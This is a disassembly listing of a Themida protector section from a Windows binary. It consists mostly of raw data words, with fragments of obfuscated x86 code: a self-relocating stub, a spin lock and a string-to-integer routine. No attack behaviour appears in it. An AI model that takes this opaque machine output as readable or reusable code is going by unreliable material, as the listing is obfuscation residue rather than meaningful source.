7DDB8100h, 8B462917h, 6C6D9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EFC35747h dd 4DB88589h, 13E8064Eh, 0CC000000h, 0E03E1EF9h, 4C6FE86h dd 0BADCD3B3h, 295E258Eh, 840F6AB8h, 6, 31C58D89h, 835A064Eh dd 840F00F8h, 2E0h, 14E9h, 16DFBA00h, 0FFF222B7h, 0FB213702h dd 0A5AE268Ah, 37BD9460h, 0B8A2h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 48FF78C3h dd 89C18147h, 4E07B19Dh, 11E906h, 48590000h, 89465A91h dd 7CB59C1Dh, 56CE859h, 83F16588h, 840F00F8h, 0B1h, 31C98D29h dd 0F883064Eh, 7C850F02h, 0F5000000h, 4433858Dh, 6A064Eh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0DC874EC3h, 9292D2Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0A4F320C3h, 13E9CCh dd 32D50000h, 0B86B47B2h, 0F90F93CCh, 0DC3BC8Fh, 49F14298h dd 0DD9D2BADh, 90064E02h, 0B2503DB3h, 9D899057h, 64E0BE5h dd 31BD89C3h, 0B8064E09h, 0 dd 2151B529h, 0E1E9064Eh, 0E9000001h, 11h, 2ACD7B98h, 3B4D7DBDh dd 0B760FE18h, 4BC4ABBCh, 1B86Bh, 35BA0000h, 8B509937h dd 4E189D9Dh, 38BD8D06h, 60064E44h, 2FC1B509h, 9D01064Eh dd 64E14FDh, 0F3816661h, 0B2E91F2Bh, 0F000000h, 0F883D6BFh dd 5A850F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 6655C356h, 958BDE8Bh dd 64E0BE5h, 4630BD8Dh, 0CA80064Eh, 73E96Ch, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0FFAF3EC3h, 89D25539h, 4E121995h, 3F88306h, 27850Fh dd 95290000h, 64E1F29h, 47C4BD8Dh, 860F064Eh, 8, 1DB58956h dd 5A064E05h, 24E9h, 0DD850900h, 8A064E0Bh, 5F883F8h, 13850Fh dd 0D88B0000h, 1F61958Bh, 5CE9064Eh, 81000000h, 82EC3DF2h dd 9D89570Dh, 64E2159h, 0D9A8BCB9h, 83E5B21Bh, 840F003Fh dd 3Fh, 21A98D01h, 0F30064Eh, 0C9D15B57h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 3CC35343h, 66F5B288h dd 29EA3ABBh, 4E0D9195h, 0D68B4706h, 0FFFFBAE9h, 83F78AFFh dd 850F05F8h, 8Ch, 5E8h, 0B0552700h, 0DE801C45h, 95895B03h dd 64E1159h, 0E9D98C66h, 9, 0EEDF42C6h, 67F6049Bh, 0C1F6F8E0h dd 4A850F04h, 31000000h, 4E2C958Dh, 0B806h, 9D890000h dd 64E1079h, 45E9D78Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0BB65C353h dd 77AD4AE1h, 0E842427Bh, 8, 0ED0A49D4h, 4CDE608Fh, 35858B5Bh dd 0BB064E31h, 54D7AA5Eh, 8D29E0FFh, 64E299Dh, 0FCDBD83h dd 0F00064Eh, 0F685h, 15958900h, 50064E25h, 3278E8BBh dd 24048945h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 12C35747h, 0A385FEB7h, 46A0D618h, 31B50360h, 60064E0Fh dd 4459D89h, 6161064Eh, 0C639D280h, 4E040185h, 6A4506h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 382F98C3h, 5127DC4Eh, 22A98D89h, 0B589064Eh, 64E11CDh dd 4801BE68h, 81FD8ABAh, 68D72434h, 0BD89343Ah, 64E0CD9h dd 25D1B5FFh, 8D89064Eh, 64E273Dh, 39D8858Dh, 9D8B064Eh dd 64E0E35h, 0F780D0FFh, 0CD858907h, 6A064E0Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 6F92C357h, 0D18B744Bh, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E2CA1E6Dh dd 83289EFDh, 4E4E07BDh, 840F0006h, 25h, 880FD68Bh, 3 dd 0FFDABF0Fh, 4E1781B5h, 5521BB06h, 9D8B3182h, 64E102Dh dd 0FCD95FFh, 8B66064Eh, 0F883D8h, 10C850Fh, 0BD890000h dd 64E1B09h, 2D39BD83h, 0F00064Eh, 6C84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0F0DACA66h, 9958BF9h, 0FF064E29h, 4E2D39B5h, 29A5BB06h dd 14E83FF0h, 0CE000000h, 0D3F14C48h, 1FCCE47Ah, 676AFE42h dd 0B50980A4h, 0F3792C7h, 0B85BDABFh, 1, 0CE9h, 0C5A96200h dd 0E3853EBDh, 2B8637B1h, 1F1E960h, 0B70F0000h, 81B5FFD2h dd 89064E17h, 4E13059Dh, 81B5FF06h, 6A064E17h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2D8CC357h, 4473EEE7h, 816614A1h, 0FF8E72D2h, 4E0FCDB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 6D63AF52h, 7D67E99Dh, 185E97Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0E0AC5CC3h, 0F860064h, 0BA5FD7BFh, 71574B19h, 0A0DBD83h dd 0F00064Eh, 9B85h, 85C6FC00h, 64E0401h, 6CBA664Dh, 68D38A7Ah dd 0A0985638h, 3481FA8Ah, 0AD209024h, 0FFADB704h, 4E215DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 225C4D04h, 319D8B59h, 8D064E08h, 4E39D885h dd 0D428BA06h, 0D0FF2037h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 44C35747h, 0CC2C8927h, 12E9C7h, 0EC560000h dd 0EBA836A5h, 0E72B1B69h, 53BCFF0Ch, 0B82E1046h, 0A0D8589h dd 9D89064Eh, 64E189Dh, 0B8h, 810F00h, 66000000h, 897B79BBh dd 4E4DB0BDh, 0F3816606h, 0C00B12A6h, 3A840Fh, 0DE90000h dd 84000000h, 0C421B6CFh, 0CEE992D9h, 0A121DD32h, 7AE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 9589AB4Eh, 64E0EDDh, 0FCDB5FFh, 0D78B064Eh dd 0AABE858Dh, 9600650h, 4E0C9985h, 9DBD8906h, 61064E15h dd 0DE950h, 56DA0000h, 0E5C42D23h, 0C6653726h, 89B85B71h dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0C335A7C3h, 69958BD4h, 50064E0Fh, 11BD8D56h dd 8D064E55h, 4E7B028Dh, 23BCB806h, 0CF2B7483h, 0C8D00730h dd 0F8754947h, 0BD83585Eh, 64E2D39h, 8B067400h, 4E02AD8Dh dd 0B8C93306h, 0 dd 840FC00Bh, 99h, 885BD83h, 7400064Eh, 0E595FF06h, 0B8064E2Ch dd 0 dd 975C00Bh, 4DB8BD83h, 7401064Eh, 0B8BD8309h, 2064E4Dh dd 0B58B0E75h, 64E4DB0h, 0AABE858Dh, 0D0FF0650h, 4216858Dh dd 0D0FF064Eh, 18A1BD83h, 7502064Eh, 81A58B2Fh, 8B064E30h dd 4E2D3985h, 24048906h, 1A3985C7h, 1064Eh, 0B58B0000h dd 64E4DB4h, 1595AD8Bh, 1B8064Eh, 0C2000000h, 0EB000Ch dd 1A3985C7h, 1064Eh, 0A58B0000h, 64E3081h, 2C35B58Bh dd 0AD8B064Eh, 64E1595h, 0CC2C033h, 0E9BD8300h, 64E15h dd 0BD830F74h, 64E2571h, 0FF067400h, 4E257195h, 0B0B58B06h dd 0C3064E4Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 5C35141h, 0D295C1BBh, 13D11834h, 0B7D2816Ch, 0F65CB29h dd 681h, 99D2900h, 89064E1Ah, 4E2F9DBDh, 0ACC68006h, 0BAh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0FD2453BAh, 0F1B70F60h, 0CE8B6650h db 5Fh, 61h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5423B2 ; --------------------------------------------------------------------------- loc_5423B0: ; CODE XREF: Themida_:005423B5j inc eax inc edi loc_5423B2: ; CODE XREF: Themida_:005423AEj cmp byte ptr [edi], 0 jnz short loc_5423B0 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5423E1 ; --------------------------------------------------------------------------- loc_5423BE: ; CODE XREF: Themida_:005423E3j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5423D6 ; --------------------------------------------------------------------------- loc_5423D3: ; CODE XREF: Themida_:005423D9j mul ebx dec esi loc_5423D6: ; CODE XREF: Themida_:005423D1j cmp esi, 0 ja short loc_5423D3 pop ebx add ecx, eax pop eax inc edi dec eax loc_5423E1: ; CODE XREF: Themida_:005423BCj or eax, eax jnz short loc_5423BE mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 0BBh dd 612233C7h, 685952Bh, 0C18B064Eh, 223C2E9h, 59002800h dd 59003F02h, 2, 2 dup(5AB55E00h), 5AB06C00h, 12FF6800h dd 24600h, 200h, 100h, 300h, 5A75200h, 0FAh, 4 dup(0) dd 547CC300h, 54CE7B00h, 543FA300h, 54CA1500h, 54E1CB00h dd 54DDC100h, 54275000h, 5457FD00h, 54A34C00h, 54746E00h dd 54955700h, 5461A100h, 54306000h, 548AA500h, 5438A100h dd 54EAEA00h, 54D6EB00h, 54532800h, 5484FA00h, 5472A300h dd 549E7800h, 54A3E000h, 54B05800h, 542BB700h, 54CD1B00h dd 548FB600h, 5456C000h, 5490A800h, 54933C00h, 542DFC00h dd 547B2B00h, 54BBF200h, 54820800h, 54BFB400h, 5434BE00h dd 54D34C00h, 54583B00h, 54C37300h, 54B80200h, 54C0B200h dd 5483AB00h, 54AAA100h, 544BDF00h, 54B57700h, 546BD200h dd 546CE200h, 54A93500h, 54C93A00h, 5476E700h, 543D4900h dd 54BA2500h, 54745D00h, 54AE5B00h, 54E0D100h, 546F4B00h dd 5442C900h, 54D4DF00h, 54901700h, 54E01A00h, 54679400h dd 542D1C00h, 547DFA00h, 54DC8400h, 5443C400h, 54CF4000h dd 54367C00h, 54E94100h, 54678C00h, 54AE7400h, 54A6BD00h dd 5428B800h, 542F1300h, 54503F00h, 5490E700h, 54CA1B00h dd 544C4C00h, 54801700h, 54B56800h, 54A21800h, 54C19A00h dd 54A89A00h, 54725000h, 548E2D00h, 54729B00h, 542F5D00h dd 545EE600h, 54BB4B00h, 54920500h, 54569100h, 54546600h dd 54D2D700h, 54BF3000h, 54B08F00h, 54C1E900h, 54C56700h dd 5437BA00h, 54559D00h, 54CE3E00h, 54EF0A00h, 5444AD00h dd 543EC300h, 54B3B400h, 54743C00h, 54594100h, 54A98A00h dd 5431AF00h, 54BE2100h, 542D9000h, 54911F00h, 544AA900h dd 54C62100h, 5437F200h, 54C2C200h, 544B4800h, 54B6B200h dd 54ABA000h, 54E20700h, 549EA000h, 547C6E00h, 54583500h dd 545F7800h, 54890700h, 54C16D00h, 54B49100h, 5495D600h dd 549FD200h, 54843800h, 54913100h, 54A17900h, 54A2DC00h dd 54738700h, 54DE6F00h, 54D1C400h, 54A8D500h, 5437E900h dd 544A2100h, 5485CC00h, 54B7AF00h, 54598F00h, 546F9F00h dd 54E3C200h, 549C6800h, 54C77200h, 54B38600h, 54ACFF00h dd 54B3D900h, 54E86600h, 54B9DA00h, 542B8800h, 54D25F00h dd 54EBE600h, 54D94300h, 54F03A00h, 54454600h, 54637400h dd 54B63100h, 54C13200h, 547A1900h, 54AE5500h, 5434B800h dd 545F8600h, 54EB8600h, 5451CE00h, 54781700h, 54BCBF00h dd 545A5C00h, 54496600h db 0 ; --------------------------------------------------------------------------- loc_5426E1: ; CODE XREF: Themida_:0056FE3Bj ; Themida_:00591925j ... pusha pushf cld call $+5 pop edi sub edi, 64E7F97h mov eax, edi add edi, 64E7CAFh cmp eax, [edi+2Ch] jnz short loc_5426FF jmp short loc_542712 ; --------------------------------------------------------------------------- loc_5426FF: ; CODE XREF: Themida_:005426FBj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54270E ; --------------------------------------------------------------------------- loc_542709: ; CODE XREF: Themida_:00542710j add [edi+ecx*4+40h], eax dec ecx loc_54270E: ; CODE XREF: Themida_:00542707j or ecx, ecx jnz short loc_542709 loc_542712: ; CODE XREF: Themida_:005426FDj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54271F: ; CODE XREF: Themida_:00542726j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54271F loc_542728: ; CODE XREF: Themida_:loc_542FEEj ; Themida_:00543B39j ... lodsb jmp loc_545048 ; --------------------------------------------------------------------------- dw 0F028h dd 8B663704h, 51E92414h, 0E9000055h, 0FFFFFFE8h, 8B240C33h dd 0F1682424h, 0E900006Ch, 5CD4h, 0B65266ACh, 0A70474h dd 66A72CF0h, 2CBC2C5Ah, 280F2C1Ah, 23F1E9D8h, 0EEC10000h dd 3C2BE902h, 0E0B50000h, 5966E828h, 477FE9h, 24048900h dd 405E089h, 5000000h, 4, 5C240487h, 4C481h, 58550000h dd 5D2434FFh, 6804C483h, 521Bh, 81243C89h, 4ECh, 240C8900h dd 72454A68h, 57565922h, 6379E9h, 5EF78900h, 56242C8Bh dd 0C681E689h, 4, 5BB2E9h, 41685200h, 89000048h, 0D7BD242Ch dd 0BA388D28h, 7388399Ah, 895DEA31h, 0A475E9D5h, 81560000h dd 4ECh, 240C8900h, 0A30D79B9h, 59CE8900h, 835EF001h, 3C8904ECh dd 82A3E924h, 34FF0000h, 0FAE95824h, 31000062h, 2C33242Ch dd 24248B24h, 8AF2E9h, 68B85000h, 3122D271h, 514E58C6h dd 44443CB9h, 87C9E95Fh, 315D0000h, 2E07E9C2h, 34FF0000h dd 54535F24h, 0E9241C8Bh, 0F11h, 0D131CA31h, 0C281CA31h dd 32E2E09Ch, 5A405729h, 0E92434FFh, 8CEDh, 512A1A2Dh dd 1FFAE933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542872: ; CODE XREF: Themida_:00549B25j pop esp mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] push ebp jmp loc_54A0CC ; --------------------------------------------------------------------------- db 8Bh dd 88E9240Ch, 81000074h, 854C0F1h, 8FE18111h, 0E9657956h dd 728Eh, 2858C588h, 303E9E8h, 33590000h, 14312414h, 4939E924h dd 0E9520000h, 9234h, 4CCDE953h, 0D8F70000h, 618FE9h db 0 ; --------------------------------------------------------------------------- loc_5428C5: ; CODE XREF: Themida_:00543081j xor dh, 0DAh sub al, dh pop edx jmp loc_5495CF ; --------------------------------------------------------------------------- aUssz db 'USé§',1Bh,0 dw 8900h dd 0E9535FFDh, 97A8h, 250EB81h, 0CB015948h, 250C381h, 0EB815948h dd 314F2F26h, 81240C8Bh, 4C4h, 8E7BE900h, 0C9810000h, 6A33702h dd 0BC52E9h, 5DEB2100h, 0BE56DBF7h, 32F840D3h, 3BF1E681h dd 0D6F740C3h, 240CFF56h, 0E9D6F75Eh, 2C3Ch, 0E92434FFh dd 0B23h, 135768h, 0F7BE900h, 89660000h, 5150241Ch, 0C5FE92B5h dd 0F615ED80h, 3EDC0DDh, 8D64E9h, 0ED815A00h, 8386602h dd 0CE9D529h, 8900009Bh, 74FF241Ch, 8F5B0424h, 0D4E92404h dd 5100000Dh, 0ED8007B5h, 2FC58064h, 0E9A4ED80h, 8B1Fh dd 5C241C87h, 1CF3E9h, 922D6600h, 23CFE92Eh, 0C3290000h dd 16C6E9h, 0C1815900h, 4, 4EC81h, 3C890000h, 25E9BF24h dd 814778E9h, 3162B1F7h, 0BCCF8173h, 0C15DF003h, 685207EFh dd 1A3D34BCh, 8324148Bh, 0C28104C4h, 0E682BBD1h, 15AD729h dd 2BE95FF9h, 50000029h, 0B82133B8h, 1E88317h, 2508E0C1h dd 7A0A4882h, 9621E955h, 0EB810000h, 0D35B17A9h, 4245C31h dd 83241C8Bh, 535804C4h, 8D1CE9h, 0DBF68100h, 81758470h dd 0ACB647C6h, 0B0BF57F0h, 8146B20Dh, 8CBD73EFh, 5FF80112h dd 3D2DF029h, 5E342550h, 44FF68h, 35B2E900h, 0F3B40000h dd 4A50E9h db 0 ; --------------------------------------------------------------------------- loc_542A41: ; CODE XREF: Themida_:0054427Cj mov dl, 79h sub dl, 17h push eax jmp loc_543086 ; --------------------------------------------------------------------------- loc_542A4C: ; CODE XREF: Themida_:005496D3j mov ecx, [esp] sub esp, 4 jmp loc_5444B5 ; --------------------------------------------------------------------------- dw 0CD01h aBac2YsI db 'íc2À>YéËi',0 align 4 dd 0E163762Dh, 1C0837Fh, 3507E8C1h, 1368249Ch, 0D52CBF35h dd 2F00E912h db 2 dup(0) ; --------------------------------------------------------------------------- loc_542A82: ; CODE XREF: Themida_:0054C346j add ebp, ebx pop ebx jmp loc_54E7A3 ; --------------------------------------------------------------------------- dw 0C381h dd 314F2F26h, 0FFFE4BE9h, 0E9E389FFh, 485h, 8101C183h dd 0D2C5BEC1h, 8BCA0175h, 0C483240Ch, 0B6CFE904h, 815A0000h dd 4C7h, 243C8700h, 3199685Ch, 34890000h, 0BB5324h, 89000020h dd 0F0215BDEh, 609CE9h, 88B2B300h, 0E7885BDCh, 0B0505158h dd 0E90C348Bh, 0FFFFFDB4h, 1819200Dh, 33A2533h, 47353BF2h dd 0E9CDCEFDh, 7227h, 1C8B0B01h, 4C48124h, 8B000000h, 0C481240Ch dd 4, 0E95B5453h, 343Ch, 68240C89h, 475Bh, 81242489h, 42404h dd 0A4E90000h, 3100007Bh, 4332404h, 6E95C24h, 8B000083h dd 0C4832434h, 91C38104h, 0E907FA54h, 65F1h, 2D58CA81h dd 7DE97EA1h, 0F7000099h, 0FFE953D0h, 68000020h, 3038h dd 0E9243C89h, 11F0h, 4B9h, 59CB0100h, 2A79E9h, 24048F00h dd 0CFE9815Ch, 0E9318B51h, 0A40Ah, 0E7E95456h, 8100008Dh dd 4C4h, 4B75E900h, 0E9580000h, 0AC5Fh, 5604C483h, 0BAB7E9h dd 6E045900h, 6E2CF828h, 19E95166h, 55000031h, 728CE9h dd 10E95800h, 400006Fh, 1C8B6624h, 2441E924h, 0C5810000h dd 1C8A03A1h, 0ED81D529h, 1C8A03A1h, 1C6F095Ah, 81242C8Bh dd 4C4h, 0FB3AE900h, 55BFFFFh, 0BC63F67h, 3ECBB53h, 0EB8169F7h dd 0BEB06C1h, 8F80E94Bh, 248B0000h, 240C8924h, 576D68h dd 241C8900h, 83240C8Bh, 0C88904C4h, 56240C8Bh, 0C681E689h dd 4, 0E904C683h, 8D1Ch, 8B241487h, 0FEE92424h, 0BD000013h dd 4, 505DEB01h, 31099168h, 3F25586Dh, 48536010h, 3DDBE953h dd 0F4800000h, 58E38854h, 0AB43E9h, 24048B00h, 8304C483h dd 0A5E904ECh, 89000033h, 0B050240Ch, 58C5881Ch, 0FE4CCD80h dd 0A9B252CDh, 47E9D528h, 890000A6h, 5FBF243Ch, 313FF342h dd 8EE95FFBh, 0F7000000h, 0C28142D2h, 1, 8107EAC1h, 0A75170E2h dd 25EA810Fh, 0E9557A14h, 5B14h, 7E0C15Bh, 0F43DCC25h dd 3E8C17Bh, 0EB392905h, 8DB95175h, 313E2C5Ch, 0A7D5E9C8h dd 0F7530000h, 34FF2414h, 0C4835B24h, 50DA8704h, 24048B52h dd 0E904C483h, 8095h ; --------------------------------------------------------------------------- loc_542CEC: ; CODE XREF: Themida_:00546B77j shr ch, 1 xor ch, 4Eh sub al, 85h sub al, ch add al, 85h mov ecx, [esp] add esp, 4 sub al, bl jmp loc_546A40 ; --------------------------------------------------------------------------- loc_542D07: ; CODE XREF: Themida_:0054CB4Fj not esi or esi, 52F62DBCh or esi, 0CF40B11h not esi jmp loc_54845E ; --------------------------------------------------------------------------- dd 9C241CF6h, 0FFFA03E9h, 5BD829FFh, 4305E9h, 244F2900h dd 83240C8Bh, 9C6804C4h, 8900000Fh, 0EC81241Ch, 4, 0E9243C89h dd 36DAh, 81242489h, 42404h, 505A0000h, 65774BB8h, 5E9405Eh dd 0FEFFFFFDh, 59EF88CDh, 8A1AE951h, 34FF0000h, 240C8B24h dd 8304C483h, 0E95004C4h, 53EDh, 0E95AF188h, 8EEEh, 0E906EDC0h dd 2A51h, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFF988h dd 28CF68h, 241C8900h, 46E9E389h, 5B0000B2h, 8904EC83h dd 0E6892434h, 4C681h, 0EE810000h, 4, 5C243487h, 0B82BE9h dd 24048900h, 22BDE9h, 0CFF5500h, 0C5815D24h, 0BAC4DAB4h dd 14F7554Dh, 0ED815D24h, 9CFAB69Bh, 2C8BEA29h, 4C48124h dd 0E9000000h, 45BFh, 24248B66h, 0FFF923E9h, 2477FFFFh dd 8904EC83h, 0BEE9242Ch, 5FFFFF9h, 12F177A1h, 7F0AE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_542E1E: ; CODE XREF: Themida_:00549ACEj xchg edi, [esp] jmp loc_546D96 ; --------------------------------------------------------------------------- dw 4105h dd 29DF8C63h, 0B95158C5h, 19657298h, 5B60E941h, 0E1860000h dd 51C88850h, 0CE88C188h, 30595859h, 34322434h, 24343024h dd 0FFF8D3E9h, 88CAFEFFh, 0E95A66D5h, 6705h, 0FF240489h dd 58042474h, 7D0EE9h, 66116800h, 8F540000h, 4832404h dd 0A5E90424h, 51000065h, 505EE9h, 5E08900h, 4, 8704C083h dd 585C2404h, 3C8B5B57h, 4C48324h, 0E91C5F21h, 0A81Ah dd 0D04E5ABDh, 951CE927h, 68510000h, 642C359Fh, 206DE959h dd 215B0000h, 0D3F759CBh, 56A7E381h, 0EC81007Dh, 4, 0BD242C89h dd 0E08B0956h, 2C8BEB29h, 4C48324h, 60E9D989h, 87000063h dd 248B240Ch, 0C3C28124h, 8116E65Fh, 4438AEEAh, 0E9C20117h dd 1779h, 592414F7h, 602E953h, 8B5F0000h, 0C4832404h, 68E95204h dd 6600007Bh, 68240C8Bh, 27CBh, 398BE9h, 796F6800h, 14890000h dd 4BA24h, 0D3010000h, 8124148Bh, 4C4h, 4C38300h, 4EC81h dd 1C890000h, 2474FF24h, 0FAE95B04h, 890000B3h, 79BE2434h dd 4E118A66h, 0BB24E9h, 0C8B6600h, 3CBB6824h, 14890000h dd 5BE9E924h, 81450000h, 27A3F5h, 0E9E80166h, 1761h, 0ED81CD01h dd 761B72DBh, 81240C8Bh, 4C4h, 242C8700h, 6624248Bh, 2404AB0Fh dd 0F78AE99Ch, 2C8BFFFFh, 4C48124h, 0E9000000h, 460Dh dd 4C681h, 0EE810000h, 4, 5C243487h, 0BE243489h, 4, 534C281h dd 0F2016481h, 534EA81h, 0B5E96481h, 4A000078h, 8242E9h dd 9EBA5200h, 810BB517h, 0B5179AEAh, 0D0FE90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_542FEE: ; CODE XREF: Themida_:00545115j jmp loc_542728 ; --------------------------------------------------------------------------- db 80h dd 5366BBC6h, 80A5B450h, 53E9D4E4h, 68FFFFFCh, 7295h, 4CFBE9h dd 5DE92100h, 90D9E9h, 0C4835E00h, 243C8704h, 6824248Bh dd 1876h, 0E9240489h, 4104h, 524AC381h, 0EB8130A6h, 52634527h dd 4293CB81h, 0EB812412h, 7B8502F2h, 0F8E5F381h, 0DE016952h dd 8F36E9h, 2C885A00h, 4D6AE987h, 0E95A0000h, 84B0h, 0E92434FFh dd 65AFh ; --------------------------------------------------------------------------- loc_543068: ; CODE XREF: Themida_:00548433j xor ah, 42h xor ah, 8 add ah, 80h mov dh, ah pop eax not dh add dh, 1Bh not dh and dh, 0D5h and dh, 5 jmp loc_5428C5 ; --------------------------------------------------------------------------- loc_543086: ; CODE XREF: Themida_:00542A47j mov ah, 35h add ah, 0Fh xor dl, ah pop eax mov ch, dl pop edx add ch, 0C0h sub bl, ch pop ecx jmp loc_54D9DD ; --------------------------------------------------------------------------- dd 6802EAC1h, 298Bh, 0BB241C89h, 5561605h, 0BD7E9h, 61DCBD00h dd 0F5816E45h, 0BC634F3h, 0BB53D5F7h, 79EE725Ah, 0E8A2EB81h dd 0DD31E500h, 0A5BF575Bh, 5421C5Ah, 37C54453h, 532DF829h dd 5F37C544h, 0BCEEE9h, 51D02800h, 92A8E9h, 702C00h, 837004D8h dd 1C8904ECh, 0B2525124h, 5AD588D9h, 0EF301EB7h, 160459h dd 0E9162CF8h, 0FFFFFC9Fh, 89243C89h, 4C781E7h, 55000000h dd 4BDh, 5DEF0100h, 2474FF57h, 2BE95F04h, 83000022h, 3C8904ECh dd 3EB5E924h, 53660000h, 9511E9h db 0 ; --------------------------------------------------------------------------- loc_543141: ; CODE XREF: Themida_:0054D9E3j mov [esp], edx mov dl, 0D4h inc dl shl dl, 6 shl dl, 4 jmp loc_54A1C6 ; --------------------------------------------------------------------------- db 81h dd 2A7978E5h, 0EBF58155h, 6801E5F3h, 7C31h, 81242C89h dd 62BE2404h, 505F2949h, 0A4526EB8h, 29CD0520h, 83052AC0h dd 29DDE4E6h, 315D58C7h, 2434FFF8h, 65B6E95Fh, 815D0000h dd 4ECh, 24048900h, 4B8h, 58C20100h, 2474FF52h, 48F5A04h dd 0E95C24h, 0FF00001Ch, 0E95A2434h, 3ED6h, 0E924248Bh dd 2094h, 57E9C201h, 0FE00000Bh, 80ECD0C4h, 0EC8087E4h dd 5BC28032h, 0EA80E228h, 24048B5Bh, 8804C483h, 0E9805AD1h dd 0FFC820A2h, 51592434h, 0C181E189h, 4, 4C181h, 0C330000h dd 240C3124h, 0FFF53BE9h, 0B85051FFh, 4D147BD2h, 16EE8AB9h dd 6C1817Ch, 2937753Ah, 6E981C1h, 5837753Ah, 2B7968h, 242C8900h dd 0B90859BDh, 0C1DDF703h, 0C58103EDh, 0D1339375h, 0C15DE929h dd 62E906E1h, 0FF000023h, 34FF8734h, 24048B24h, 5304C483h dd 88C2E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543256: ; CODE XREF: Themida_:0054D97Cj push ebx jmp loc_54343D ; --------------------------------------------------------------------------- loc_54325C: ; CODE XREF: Themida_:00548134j sub eax, 4D597F81h jmp loc_546997 ; --------------------------------------------------------------------------- dw 0C483h dd 43C8E904h, 73BF0000h, 292EEF7Ah, 243C8BFBh, 4304C483h dd 5F61E9h, 5D8F700h, 73AF9ECh, 48BC329h, 13FFE924h, 0EC810000h dd 4, 89243C89h, 0B6BEE9E7h, 0FC350000h, 5F19DF77h, 0E9241C8Bh dd 781Dh ; --------------------------------------------------------------------------- loc_5432B0: ; CODE XREF: Themida_:00544388j pop eax push edi mov edi, 2 sub ebx, edi jmp loc_54640E ; --------------------------------------------------------------------------- dw 0BB53h dd 1BB132B8h, 7A2DE381h, 0D3F77D29h, 0E5CCB81h, 0A6E96BF4h dd 0FF00003Dh, 835B2434h, 48F04C4h, 7A7E924h, 0D0290000h dd 0E924148Bh, 78Dh, 1845C681h, 0F001F3C2h, 8447E95Eh dd 0EC830000h, 24048904h, 0FFFB7CE9h, 0E95B5CFFh, 0FFFFF418h ; --------------------------------------------------------------------------- loc_543310: ; CODE XREF: Themida_:0054911Aj add ebx, 45032C1Bh add ebx, edx sub ebx, 45032C1Bh pop edx add ebx, 2 xchg ebx, [esp] jmp loc_54CEA9 ; --------------------------------------------------------------------------- loc_54332D: ; CODE XREF: Themida_:00549492j mov [esp], esi mov esi, 3D357503h sub ebp, 3C1A6784h jmp loc_549F15 ; --------------------------------------------------------------------------- aMrYrSS db 'MRºYr]%éÞS',0 align 4 dd 0FF240C89h, 59042474h, 0E924048Fh, 2BACh, 2434FF5Ch dd 0E92434FFh, 11E6h, 4C781h, 0C7830000h, 243C8702h, 0E924248Bh dd 30F3h ; --------------------------------------------------------------------------- loc_54337C: ; CODE XREF: Themida_:00548D32j pop ebp jmp loc_545B0C ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0EF810000h, 4, 0E9243C87h, 7F4Bh, 809EEF80h dd 0F800EBF7h, 2CFC2C5Bh, 58C5886Bh, 0ED80E5D0h, 73686636h dd 14896631h, 0C9B624h, 285A66F5h, 240C8BE8h, 81E38953h dd 4C3h, 4C38100h, 0E9000000h, 6915h, 8F5EE953h, 0FB310000h dd 0B2C3815Fh, 0E97E6A44h, 10BDh, 8108E5C1h, 9A3309E5h dd 0BB53504Dh, 52784FB4h, 0BBD554Bh, 17E0D20h, 0EB815DEBh dd 27F8280Ah, 0C850C381h, 5EE99F7Ch, 68000084h, 2AD9h dd 53242489h, 4BBh, 245C0100h, 0E95D5B04h, 1375h, 8904EC83h dd 7768243Ch, 5F1C515Dh, 0B1D5E9h db 0 ; --------------------------------------------------------------------------- loc_54343D: ; CODE XREF: Themida_:00543257j mov bh, dh jmp loc_54354E ; --------------------------------------------------------------------------- dd 4EB8C281h, 0C2812F40h, 5D9A20C1h, 41E91A01h, 58000068h dd 81E18951h, 